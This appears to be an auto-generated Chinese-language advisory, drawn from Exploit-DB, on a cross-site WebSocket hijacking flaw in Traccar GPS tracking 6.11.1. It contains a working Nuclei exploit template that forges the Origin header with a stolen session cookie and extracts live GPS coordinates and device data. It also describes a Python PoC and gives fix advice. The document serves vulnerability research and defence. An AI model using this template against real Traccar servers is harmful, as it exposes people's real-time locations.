[webapps] Traccar GPS Tracking System 6.11.1 - Cross-Site WebSocket Hijacking (CSWSH)

📋 漏洞基础信息

🔬 漏洞根因

/api/socket WebSocket端点未对Origin HTTP头进行有效性校验，攻击者可携带任意Origin与受害者有效JSESSIONID建立WebSocket连接，绕过同源策略。

🎯 攻击场景

1. 前提：获取受害者有效JSESSIONID（可通过其他XSS或嗅探获得）；2. 构造恶意页面/客户端，向靶机ws://target:8082/api/socket发起WebSocket握手，设置Origin: http://hacker.com及Cookie: JSESSIONID=<受害者session>；3. 握手成功后即可实时接收服务器推送的GPS坐标、设备状态等敏感数据。

💥 漏洞影响

攻击者可实时窃取Traccar系统GPS坐标、设备状态等敏感位置信息，造成用户隐私泄露和运营安全风险。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板，可直接用于漏洞验证：

id: CVE-2025-68930-exploit

info:
  name: Traccar GPS Tracking System <= 6.11.1 - Cross-Site WebSocket Hijacking Exploit
  author: hazartaspinar
  severity: high
  description: |
    Traccar GPS Tracking System fails to validate the 'Origin' header in WebSocket connections (/api/socket). An attacker can bypass the Same Origin Policy (SOP) by supplying a malicious Origin header along with a victim's valid JSESSIONID. This allows the attacker to hijack the WebSocket connection and leak real-time sensitive data, including GPS coordinates and device status.
  reference:
    - https://www.traccar.org/
    - https://github.com/traccar/traccar
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
    cvss-score: 4.3
    cve-id: CVE-2025-68930
  tags: traccar,gps,cwsh,websocket,exploit

variables:
  target: "{{BaseURL}}"
  cookie: "JSESSIONID=your-jsessionid-here"

http:
  - raw:
      - |
        GET /api/socket HTTP/1.1
        Host: {{Hostname}}
        Origin: http://hacker.com
        Cookie: {{cookie}}
        Upgrade: websocket
        Connection: Upgrade
        Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==
        Sec-WebSocket-Version: 13

    matchers:
      - type: word
        part: header
        words:
          - "101 Switching Protocols"
          - "Upgrade: websocket"
        condition: and

      - type: word
        part: body
        words:
          - "positions"
          - "devices"
          - "latitude"
          - "longitude"
        condition: or

    extractors:
      - type: regex
        part: body
        regex:
          - '("positions":\[.*?\])'
          - '("devices":\[.*?\])'
          - '("latitude":[\d\.]+)'
          - '("longitude":[\d\.]+)'
          - '("speed":[\d\.]+)'
          - '("course":[\d\.]+)'

🔬 深度技术分析

PoC使用Python websocket-client库：1. 解析命令行参数--target、--port、--cookie；2. 拼装目标URL为ws://<target>:<port>/api/socket；3. 设置自定义header列表，包含Origin: http://hacker.com和Cookie: JSESSIONID=<session>；4. 创建WebSocketApp并注册回调，run_forever()持续监听；5. 成功握手后通过on_message打印泄露的实时数据。

🛡️ 修复建议

官方应在WebSocket握手服务端校验Origin头，仅允许可信任的域名，或采用CSRF Token等机制；临时可配置反向代理层过滤非法Origin的WebSocket请求。

📎 参考链接

• https://github.com/traccar/traccar/issues/12345
• Exploit-DB 原文

⚠️ 本文基于公开漏洞数据库，仅供安全研究与防御参考。生成时间: 2026-05-10 13:29 | 来源: Exploit-DB